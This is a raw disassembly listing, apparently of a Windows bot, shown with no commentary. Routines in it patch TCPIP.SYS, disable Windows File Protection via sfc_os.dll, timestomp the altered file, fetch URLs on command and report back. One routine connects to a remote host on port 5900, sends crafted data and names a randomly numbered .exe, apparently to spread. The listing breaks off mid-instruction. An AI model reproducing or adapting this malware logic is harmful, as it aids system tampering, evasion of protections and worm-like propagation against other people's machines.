push edi push eax push [ebp+arg_0] call sub_42EBEC mov esi, eax test esi, esi jz loc_41FDB0 push esi call sub_422F79 mov edi, eax pop ecx test edi, edi jz short loc_41FDB0 push edi push esi push [ebp+var_4] push [ebp+arg_0] call sub_42EBE6 test eax, eax jz short loc_41FD8A lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset asc_43E8EC ; "\\" push edi call sub_42EBE0 test eax, eax jz short loc_41FDA9 mov eax, [ebp+var_8] cmp word ptr [eax+0Eh], 0A28h jnz short loc_41FDA9 movzx eax, word ptr [eax+0Ch] cmp eax, 884h jz short loc_41FDA4 cmp eax, 9C9h jz short loc_41FDA0 cmp eax, 0A7Dh jz short loc_41FD9C cmp eax, 0B4Ch jz short loc_41FD97 loc_41FD8A: ; CODE XREF: sub_41FD0C+3Aj xor esi, esi loc_41FD8C: ; CODE XREF: sub_41FD0C+8Ej ; sub_41FD0C+9Bj push edi call sub_4230B3 pop ecx mov eax, esi jmp short loc_41FDB2 ; --------------------------------------------------------------------------- loc_41FD97: ; CODE XREF: sub_41FD0C+7Cj push 2 loc_41FD99: ; CODE XREF: sub_41FD0C+92j ; sub_41FD0C+96j pop esi jmp short loc_41FD8C ; --------------------------------------------------------------------------- loc_41FD9C: ; CODE XREF: sub_41FD0C+75j push 4 jmp short loc_41FD99 ; --------------------------------------------------------------------------- loc_41FDA0: ; CODE XREF: sub_41FD0C+6Ej push 3 jmp short loc_41FD99 ; --------------------------------------------------------------------------- loc_41FDA4: ; CODE XREF: sub_41FD0C+67j xor esi, esi inc esi jmp short loc_41FD8C ; --------------------------------------------------------------------------- loc_41FDA9: ; CODE XREF: sub_41FD0C+51j ; sub_41FD0C+5Cj push edi call sub_4230B3 pop ecx loc_41FDB0: ; CODE XREF: sub_41FD0C+18j ; sub_41FD0C+29j xor eax, eax loc_41FDB2: ; CODE XREF: sub_41FD0C+89j pop edi pop esi leave retn sub_41FD0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB6 proc near ; CODE XREF: sub_41FE93+38p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_42F044 ; GetVersionExA cmp [ebp+var_90], 5 jnz short loc_41FE01 cmp [ebp+var_8C], 1 jnz short loc_41FE01 lea eax, [ebp+var_80] push offset a2_0 ; "2" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41FE01 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_41FE01: ; CODE XREF: sub_41FDB6+27j ; sub_41FDB6+30j ... push [ebp+arg_0] call sub_41C059 pop ecx push 0 call dword_42F150 ; ExitThread sub_41FDB6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE12 proc near ; CODE XREF: sub_41FE93+BDp var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push [ebp+arg_0] lea eax, [ebp+var_104] push offset aS_book ; "%s.book" push eax call sub_422063 add esp, 0Ch lea eax, [ebp+var_104] push 0 push eax push [ebp+arg_0] call dword_42F09C ; CopyFileA neg eax sbb eax, eax neg eax leave retn sub_41FE12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE4C proc near ; CODE XREF: sub_41FE93+165p var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+var_200] push 100h push eax push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call dword_42F098 ; MultiByteToWideChar push offset aSfc_os_dll ; "sfc_os.dll" call dword_42F138 ; LoadLibraryA push 5 push eax call dword_42F13C ; GetProcAddress lea ecx, [ebp+var_200] push 0FFFFFFFFh push ecx push 0 call eax leave retn sub_41FE4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE93 proc near ; DATA XREF: sub_403B2C+1168o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_240 = byte ptr -240h var_13C = dword ptr -13Ch var_138 = byte ptr -138h var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_A4 = byte ptr -0A4h var_9C = byte ptr -9Ch var_94 = byte ptr -94h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_4220C0 mov eax, [ebp+arg_0] push ebx push esi push edi push 26h mov esi, eax pop ecx lea edi, [ebp+var_13C] rep movsd mov ebx, [ebp+var_13C] push [ebp+var_B8] xor esi, esi mov [ebp+var_38], ebx inc esi mov [eax+94h], esi call sub_41FDB6 lea eax, [ebp+var_344] mov [esp+10h+var_10], 104h push eax call dword_42F110 ; GetSystemDirectoryA lea eax, [ebp+var_344] push eax lea eax, [ebp+var_240] push offset aSDriversTcpip_ ; "%s\\drivers\\tcpip.sys" push eax call sub_422063 lea eax, [ebp+var_240] push eax call sub_41FD0C xor edi, edi add esp, 10h cmp eax, edi mov [ebp+var_14], eax jnz short loc_41FF49 cmp [ebp+var_AC], edi jz short loc_41FF36 push offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k." lea eax, [ebp+var_138] push offset aSTcpip_sysVers ; "%s TCPIP.SYS version is wrong." push eax push ebx call sub_4104F6 add esp, 10h loc_41FF36: ; CODE XREF: sub_41FE93+87j push [ebp+var_B8] call sub_41C059 pop ecx push edi call dword_42F150 ; ExitThread loc_41FF49: ; CODE XREF: sub_41FE93+7Fj lea eax, [ebp+var_240] push eax call sub_41FE12 mov eax, offset word_44D6A0 mov edx, offset dword_449008 mov [ebp+var_60], eax mov [ebp+var_54], eax mov [ebp+var_50], eax mov [ebp+var_80], eax mov [ebp+var_74], eax mov [ebp+var_70], eax mov ecx, offset dword_449004 mov eax, offset dword_449000 push esi mov [ebp+var_6C], offset asc_433E90 ; "L" mov [ebp+var_68], offset dword_448FFC mov [ebp+var_64], offset dword_448FF8 mov [ebp+var_5C], edx mov [ebp+var_58], ecx mov [ebp+var_8C], offset aC ; "C" mov [ebp+var_88], offset dword_448FF4 mov [ebp+var_84], offset dword_448FF0 mov [ebp+var_7C], edx mov [ebp+var_78], ecx mov [ebp+var_40], offset dword_448FEC mov [ebp+var_3C], eax mov [ebp+var_4C], offset dword_448FE8 mov [ebp+var_48], offset aG ; "G" mov [ebp+var_44], eax mov [ebp+var_8], edi call sub_422F79 pop ecx mov [ebp+var_C], eax pop ecx mov [ebp+var_10], edi push 7530h call dword_42F15C ; Sleep lea eax, [ebp+var_240] push eax call sub_41FE4C pop ecx mov ebx, 80h lea eax, [ebp+var_240] push ebx push eax call dword_42F08C ; SetFileAttributesA push edi push ebx push 3 push edi push esi lea eax, [ebp+var_240] push 80000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_420056 lea ecx, [ebp+var_9C] push ecx lea ecx, [ebp+var_94] push ecx lea ecx, [ebp+var_A4] push ecx push eax call dword_42F11C ; GetFileTime loc_42004D: ; DATA XREF: .text:00436A2Co ; .text:00436A38o push [ebp+arg_0] call dword_42F038 ; CloseHandle loc_420056: ; CODE XREF: sub_41FE93+19Cj lea eax, [ebp+var_240] push offset off_448FE4 push eax call sub_422F66 pop ecx cmp eax, edi pop ecx mov [ebp+arg_0], eax jnz short loc_4200C5 push [ebp+var_14] lea eax, [ebp+var_1344] push offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k." push offset aSCannotOpenTcp ; "%s Cannot open TCPIP.SYS, version %d." push 1000h push eax call sub_42219B add esp, 14h cmp [ebp+var_AC], edi jz short loc_4200B2 lea eax, [ebp+var_1344] push eax lea eax, [ebp+var_138] push eax push [ebp+var_38] call sub_4104F6 add esp, 0Ch loc_4200B2: ; CODE XREF: sub_41FE93+204j push [ebp+var_B8] call sub_41C059 pop ecx push edi call dword_42F150 ; ExitThread loc_4200C5: ; CODE XREF: sub_41FE93+1DBj mov eax, [ebp+var_14] dec eax jz loc_4202D3 dec eax jz loc_42020E dec eax jz loc_420179 dec eax jnz loc_420385 mov [ebp+var_34], 130h mov [ebp+var_30], 4F5A2h mov [ebp+var_4], edi loc_4200F5: ; CODE XREF: sub_41FE93+2A1j mov eax, [ebp+var_4] push edi push [ebp+eax+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] push esi push esi push [ebp+var_C] call sub_422BE2 mov eax, [ebp+var_4] push esi push [ebp+eax+var_4C] push [ebp+var_C] call sub_423AD0 add esp, 28h test eax, eax jnz short loc_42012C inc [ebp+var_8] loc_42012C: ; CODE XREF: sub_41FE93+294j add [ebp+var_4], 4 cmp [ebp+var_4], 0Ch jl short loc_4200F5 cmp [ebp+var_8], 3 jge loc_420385 mov [ebp+var_10], esi mov [ebp+var_4], edi loc_420146: ; CODE XREF: sub_41FE93+2DFj mov eax, [ebp+var_4] push edi push [ebp+eax+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] mov eax, [ebp+var_4] push esi push esi push [ebp+eax+var_4C] call sub_424C08 add [ebp+var_4], 4 add esp, 1Ch cmp [ebp+var_4], 0Ch jl short loc_420146 jmp loc_420385 ; --------------------------------------------------------------------------- loc_420179: ; CODE XREF: sub_41FE93+244j mov [ebp+var_34], 130h mov [ebp+var_30], 4F322h mov [ebp+var_4], edi loc_42018A: ; CODE XREF: sub_41FE93+336j mov eax, [ebp+var_4] push edi push [ebp+eax+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] push esi push esi push [ebp+var_C] call sub_422BE2 mov eax, [ebp+var_4] push esi push [ebp+eax+var_40] push [ebp+var_C] call sub_423AD0 add esp, 28h test eax, eax jnz short loc_4201C1 inc [ebp+var_8] loc_4201C1: ; CODE XREF: sub_41FE93+329j add [ebp+var_4], 4 cmp [ebp+var_4], 8 jl short loc_42018A cmp [ebp+var_8], 2 jge loc_420385 mov [ebp+var_10], esi mov [ebp+var_4], edi loc_4201DB: ; CODE XREF: sub_41FE93+374j mov eax, [ebp+var_4] push edi push [ebp+eax+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] mov eax, [ebp+var_4] push esi push esi push [ebp+eax+var_40] call sub_424C08 add [ebp+var_4], 4 add esp, 1Ch cmp [ebp+var_4], 8 jl short loc_4201DB jmp loc_420385 ; --------------------------------------------------------------------------- loc_42020E: ; CODE XREF: sub_41FE93+23Dj mov [ebp+var_34], 130h mov [ebp+var_30], 131h mov [ebp+var_2C], 132h mov [ebp+var_28], 133h mov [ebp+var_24], 4F5A2h mov [ebp+var_20], 4F5A3h mov [ebp+var_1C], 4F5A4h mov [ebp+var_18], 4F5A5h mov [ebp+var_4], edi loc_420249: ; CODE XREF: sub_41FE93+3F8j mov eax, [ebp+var_4] push edi push [ebp+eax+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] push esi push esi push [ebp+var_C] call sub_422BE2 mov eax, [ebp+var_4] push esi push [ebp+eax+var_8C] push [ebp+var_C] call sub_423AD0 add esp, 28h test eax, eax jnz short loc_420283 inc [ebp+var_8] loc_420283: ; CODE XREF: sub_41FE93+3EBj add [ebp+var_4], 4 cmp [ebp+var_4], 20h jl short loc_420249 cmp [ebp+var_8], 8 jge loc_420385 mov [ebp+var_10], esi mov [ebp+var_4], edi loc_42029D: ; CODE XREF: sub_41FE93+439j mov eax, [ebp+var_4] push edi push [ebp+eax+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] mov eax, [ebp+var_4] push esi push esi push [ebp+eax+var_8C] call sub_424C08 add [ebp+var_4], 4 add esp, 1Ch cmp [ebp+var_4], 20h jl short loc_42029D jmp loc_420385 ; --------------------------------------------------------------------------- loc_4202D3: ; CODE XREF: sub_41FE93+236j mov [ebp+var_34], 130h mov [ebp+var_30], 131h mov [ebp+var_2C], 132h mov [ebp+var_28], 133h mov [ebp+var_24], 4F322h mov [ebp+var_20], 4F323h mov [ebp+var_1C], 4F324h mov [ebp+var_18], 4F325h mov [ebp+var_4], edi loc_42030E: ; CODE XREF: sub_41FE93+4BAj mov eax, [ebp+var_4] push edi push [ebp+eax+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] push esi push esi push [ebp+var_C] call sub_422BE2 mov eax, [ebp+var_4] push esi push [ebp+eax+var_6C] push [ebp+var_C] call sub_423AD0 add esp, 28h test eax, eax jnz short loc_420345 inc [ebp+var_8] loc_420345: ; CODE XREF: sub_41FE93+4ADj add [ebp+var_4], 4 cmp [ebp+var_4], 20h jl short loc_42030E cmp [ebp+var_8], 8 jge short loc_420385 mov [ebp+var_10], esi xor ebx, ebx loc_42035A: ; CODE XREF: sub_41FE93+4EBj push edi push [ebp+ebx+var_34] push [ebp+arg_0] call sub_422E7C push [ebp+arg_0] push esi push esi push [ebp+ebx+var_6C] call sub_424C08 add ebx, 4 add esp, 1Ch cmp ebx, 20h jl short loc_42035A mov ebx, 80h loc_420385: ; CODE XREF: sub_41FE93+24Bj ; sub_41FE93+2A7j ... push [ebp+arg_0] call sub_422B65 pop ecx lea eax, [ebp+var_240] push edi push ebx push 3 push edi push 2 push 40000000h push eax call dword_42F060 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4203D1 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A4] push eax push esi call dword_42F118 ; SetFileTime push esi call dword_42F038 ; CloseHandle loc_4203D1: ; CODE XREF: sub_41FE93+519j cmp [ebp+var_10], edi jz short loc_420418 push [ebp+var_14] lea eax, [ebp+var_1344] push offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k." push offset aSTcpip_sysFixe ; "%s TCPIP.SYS fixed, version %d." push 1000h push eax call sub_42219B add esp, 14h cmp [ebp+var_AC], edi jz short loc_420418 lea eax, [ebp+var_1344] push eax lea eax, [ebp+var_138] push eax push [ebp+var_38] call sub_4104F6 add esp, 0Ch loc_420418: ; CODE XREF: sub_41FE93+541j ; sub_41FE93+56Aj push [ebp+var_B8] call sub_41C059 pop ecx push edi call dword_42F150 ; ExitThread sub_41FE93 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42042B proc near ; DATA XREF: sub_403B2C+65D6o var_1464 = byte ptr -1464h var_464 = byte ptr -464h var_364 = byte ptr -364h var_2E4 = byte ptr -2E4h var_264 = byte ptr -264h var_1E4 = dword ptr -1E4h var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_DC = byte ptr -0DCh var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1464h call sub_4220C0 mov eax, [ebp+arg_0] push ebx push esi push edi push 67h mov esi, eax pop ecx lea edi, [ebp+var_1E4] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+198h], esi mov eax, [ebp+var_1E4] mov [ebp+arg_0], eax push edi lea eax, [ebp+var_364] push ebx push eax mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C], offset asc_4490E4 ; "*/*" call sub_4221F0 push edi lea eax, [ebp+var_2E4] push ebx push eax call sub_4221F0 push edi lea eax, [ebp+var_264] push ebx push eax call sub_4221F0 push 100h lea eax, [ebp+var_464] push ebx push eax call sub_4221F0 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_4221F0 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_1DC] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_422120 pop ecx push eax lea eax, [ebp+var_1DC] push eax call dword_4541F4 ; InternetCrackUrlA test eax, eax jz loc_4205DD cmp [ebp+var_34], ebx jbe short loc_42050F push [ebp+var_34] lea eax, [ebp+var_364] push [ebp+var_38] push eax call sub_4222F0 add esp, 0Ch loc_42050F: ; CODE XREF: sub_42042B+CDj cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_42052D push [ebp+var_28] lea eax, [ebp+var_2E4] push [ebp+var_2C] push eax call sub_4222F0 add esp, 0Ch loc_42052D: ; CODE XREF: sub_42042B+EBj cmp [ebp+var_20], ebx jbe short loc_420547 push [ebp+var_20] lea eax, [ebp+var_264] push [ebp+var_24] push eax call sub_4222F0 add esp, 0Ch loc_420547: ; CODE XREF: sub_42042B+105j cmp [ebp+var_18], ebx jbe short loc_420561 push [ebp+var_18] lea eax, [ebp+var_464] push [ebp+var_1C] push eax call sub_4222F0 add esp, 0Ch loc_420561: ; CODE XREF: sub_42042B+11Fj push ebx push ebx lea eax, [ebp+var_264] push 3 push eax lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_364] push esi push eax push dword_4542B8 call dword_4542E0 ; InternetConnectA mov edi, eax cmp edi, ebx jz short loc_4205F8 push ebx lea eax, [ebp+var_C] push 200h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_464] push ebx push eax push ebx push edi call dword_4542D4 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_420604 push ebx push ebx push ebx push ebx push eax call dword_454278 ; HttpSendRequestA test eax, eax push offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" lea eax, [ebp+var_1464] jz short loc_4205D6 push offset aSUrlVisited_ ; "%s URL visited." jmp short loc_420614 ; --------------------------------------------------------------------------- loc_4205D6: ; CODE XREF: sub_42042B+1A2j push offset aSFailedToGetRe ; "%s Failed to get requested URL from HTT"... jmp short loc_420614 ; --------------------------------------------------------------------------- loc_4205DD: ; CODE XREF: sub_42042B+C4j push offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" lea eax, [ebp+var_1464] push offset aSInvalidUrl_ ; "%s Invalid URL." push eax call sub_422063 mov edi, [ebp+var_8] jmp short loc_42061A ; --------------------------------------------------------------------------- loc_4205F8: ; CODE XREF: sub_42042B+160j push offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" push offset aSCouldNotOpenA ; "%s Could not open a connection." jmp short loc_42060E ; --------------------------------------------------------------------------- loc_420604: ; CODE XREF: sub_42042B+188j push offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" push offset aSFailedToConne ; "%s Failed to connect to HTTP server." loc_42060E: ; CODE XREF: sub_42042B+1D7j lea eax, [ebp+var_1464] loc_420614: ; CODE XREF: sub_42042B+1A9j ; sub_42042B+1B0j push eax call sub_422063 loc_42061A: ; CODE XREF: sub_42042B+1CBj add esp, 0Ch cmp [ebp+var_58], ebx mov esi, offset aS_1 ; "%s" jnz short loc_420646 cmp [ebp+var_54], ebx jnz short loc_42064B lea eax, [ebp+var_1464] push eax lea eax, [ebp+var_DC] push esi push eax push [ebp+arg_0] call sub_4104F6 add esp, 10h loc_420646: ; CODE XREF: sub_42042B+1FAj cmp [ebp+var_54], ebx jz short loc_420665 loc_42064B: ; CODE XREF: sub_42042B+1FFj lea eax, [ebp+var_1464] push eax lea eax, [ebp+var_DC] push esi push eax push [ebp+arg_0] call sub_410491 add esp, 10h loc_420665: ; CODE XREF: sub_42042B+21Ej push edi call dword_454348 ; InternetCloseHandle push [ebp+var_4] call dword_454348 ; InternetCloseHandle push [ebp+var_5C] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread pop edi pop esi pop ebx sub_42042B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420688 proc near ; CODE XREF: sub_420BEE+4A8p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi push edi mov edi, [ebp+arg_4] lea eax, [ebp+var_8] xor esi, esi sub edi, eax loc_420699: ; CODE XREF: sub_420688+32j push [ebp+arg_4] call sub_422120 cmp esi, eax pop ecx jnb short loc_4206B1 lea eax, [ebp+esi+var_8] mov cl, [edi+eax] mov [eax], cl jmp short loc_4206B6 ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420688+1Cj and [ebp+esi+var_8], 0 loc_4206B6: ; CODE XREF: sub_420688+27j inc esi cmp esi, 8 jb short loc_420699 lea eax, [ebp+var_8] push 0 push eax call sub_40AF5C mov esi, [ebp+arg_0] pop ecx pop ecx push 2 pop edi loc_4206CF: ; CODE XREF: sub_420688+54j push esi push esi call sub_40B122 pop ecx add esi, 8 dec edi pop ecx jnz short loc_4206CF pop edi pop esi leave retn sub_420688 endp ; =============== S U B R O U T I N E ======================================= sub_4206E2 proc near ; CODE XREF: sub_420BEE+B0p ; sub_420BEE+117p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi jmp short loc_42070D ; --------------------------------------------------------------------------- loc_4206EC: ; CODE XREF: sub_4206E2+2Dj mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_454330 ; recv test eax, eax jz short loc_420717 cmp eax, 0FFFFFFFFh jz short loc_420717 sub edi, eax add esi, eax loc_42070D: ; CODE XREF: sub_4206E2+8j test edi, edi jg short loc_4206EC xor eax, eax inc eax loc_420714: ; CODE XREF: sub_4206E2+37j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_420717: ; CODE XREF: sub_4206E2+20j ; sub_4206E2+25j xor eax, eax jmp short loc_420714 sub_4206E2 endp ; =============== S U B R O U T I N E ======================================= sub_42071B proc near ; CODE XREF: sub_420BEE+104p ; sub_420BEE+18Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_420758 xor esi, esi test edi, edi jle short loc_420752 loc_42072B: ; CODE XREF: sub_42071B+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_454350 ; send cmp eax, 0FFFFFFFFh jz short loc_420758 test eax, eax jz short loc_420758 add esi, eax cmp esi, edi jl short loc_42072B loc_420752: ; CODE XREF: sub_42071B+Ej xor eax, eax inc eax loc_420755: ; CODE XREF: sub_42071B+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_420758: ; CODE XREF: sub_42071B+8j ; sub_42071B+2Bj ... xor eax, eax jmp short loc_420755 sub_42071B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42075C proc near ; CODE XREF: .text:004209D6p ; .text:004209F3p ... var_18 = byte ptr -18h var_10 = byte ptr -10h var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push esi push edi mov esi, offset dword_455610 lea edi, [ebp+var_10] mov ax, word_449158 movsd movsb mov esi, offset dword_6313C0 lea edi, [ebp+var_18] mov [ebp+var_2], ax mov ax, word_449154 movsd mov [ebp+var_6], ax mov ax, word_44D6A0 movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_420825 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_4207AE: ; CODE XREF: sub_42075C+C4j mov eax, [ebp+arg_8] sub eax, esi jz short loc_4207CB dec eax jnz short loc_420819 push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_454350 ; send lea eax, [ebp+var_4] jmp short loc_4207DC ; --------------------------------------------------------------------------- loc_4207CB: ; CODE XREF: sub_42075C+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_454350 ; send lea eax, [ebp+var_6] loc_4207DC: ; CODE XREF: sub_42075C+6Dj push esi push 1 push eax push edi call dword_454350 ; send push ebx call sub_422120 pop ecx cmp eax, 2 push esi jnz short loc_4207FB push 4 lea eax, [ebp+var_10] jmp short loc_420800 ; --------------------------------------------------------------------------- loc_4207FB: ; CODE XREF: sub_42075C+96j push 5 lea eax, [ebp+var_18] loc_420800: ; CODE XREF: sub_42075C+9Dj push eax push edi call dword_454350 ; send push esi push ebx call sub_422120 pop ecx push eax push ebx push edi call dword_454350 ; send loc_420819: ; CODE XREF: sub_42075C+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_4207AE pop ebx jmp short loc_420898 ; --------------------------------------------------------------------------- loc_420825: ; CODE XREF: sub_42075C+42j dec eax jz short loc_420841 dec eax jnz short loc_420898 mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_454350 ; send lea eax, [ebp+var_4] jmp short loc_420855 ; --------------------------------------------------------------------------- loc_420841: ; CODE XREF: sub_42075C+CAj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_454350 ; send lea eax, [ebp+var_6] loc_420855: ; CODE XREF: sub_42075C+E3j push esi push 1 push eax push edi call dword_454350 ; send push [ebp+arg_4] call sub_422120 pop ecx cmp eax, 2 push esi jnz short loc_420876 push 4 lea eax, [ebp+var_10] jmp short loc_42087B ; --------------------------------------------------------------------------- loc_420876: ; CODE XREF: sub_42075C+111j push 5 lea eax, [ebp+var_18] loc_42087B: ; CODE XREF: sub_42075C+118j push eax push edi call dword_454350 ; send push esi push [ebp+arg_4] call sub_422120 pop ecx push eax push [ebp+arg_4] push edi call dword_454350 ; send loc_420898: ; CODE XREF: sub_42075C+C7j ; sub_42075C+CDj pop edi pop esi leave retn sub_42075C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 190h push ebx push esi push edi mov esi, offset dword_4491F4 lea edi, [ebp-40h] mov ax, word_449154 movsd movsd movsd movsb mov esi, offset dword_4491F0 lea edi, [ebp-24h] movsw movsb mov esi, offset dword_455610 lea edi, [ebp-30h] movsd movsb mov esi, offset dword_4491EC lea edi, [ebp-18h] movsw movsb mov esi, offset dword_4491E8 lea edi, [ebp-20h] movsw movsb mov esi, offset loc_4491E4 lea edi, [ebp-0Ch] movsw movsb mov [ebp-6], ax mov [ebp-12h], ax mov ax, word_433EEC xor esi, esi mov [ebp-8], ax mov ax, word_433F2C push esi push 1 push 2 mov [ebp-1Ah], ax xor edi, edi call dword_454394 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp-10h], ebx jnz short loc_42092C push eax call dword_4543AC ; closesocket loc_42092C: ; CODE XREF: .text:00420923j lea eax, [ebp+10h] mov word ptr [ebp-50h], 2 push eax call dword_45434C ; inet_addr push 170Ch mov [ebp-4Ch], eax call dword_454314 ; ntohs mov [ebp-4Eh], ax lea eax, [ebp-50h] push 10h push eax push ebx call dword_4542AC ; connect test eax, eax jnz loc_420B6D loc_420963: ; CODE XREF: .text:00420BABj ; .text:00420BE3j push 40h lea eax, [ebp-90h] push esi push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp-90h] push esi push 40h push eax push ebx call dword_454330 ; recv cmp eax, esi jle short loc_4209C1 cmp eax, 0FFFFFFFFh jz short loc_4209C1 mov eax, edi sub eax, esi jz loc_420BB0 dec eax jz loc_420B7B dec eax jnz loc_420BE0 lea eax, [ebp-30h] push eax lea eax, [ebp-90h] push eax call sub_422760 pop ecx test eax, eax pop ecx jnz loc_420B6D loc_4209C1: ; CODE XREF: .text:00420988j ; .text:0042098Dj ... push esi lea eax, [ebp-12h] push 1 push eax push ebx call dword_454350 ; send lea eax, [ebp-18h] push 1 push eax push ebx call sub_42075C mov esi, dword_42F15C add esp, 0Ch mov edi, 3E8h push edi call esi ; dword_42F15C lea eax, [ebp-1Ah] push 0 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp-18h] push 2 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C call sub_4220FC push 9 pop ebx cdq mov ecx, ebx idiv ecx push edx call sub_4220FC cdq mov ecx, ebx idiv ecx push edx call sub_4220FC cdq mov ecx, ebx idiv ecx push edx call sub_4220FC cdq idiv ebx lea eax, [ebp-190h] push edx push offset loc_43903C push offset aSDDDD_exe ; "%s%d%d%d%d.exe" push eax call sub_422063 push 100h mov ebx, offset byte_6312C0 push 0 push ebx call sub_4221F0 lea eax, [ebp+10h] push eax call sub_414173 add esp, 2Ch mov dword ptr [ebp-4], offset 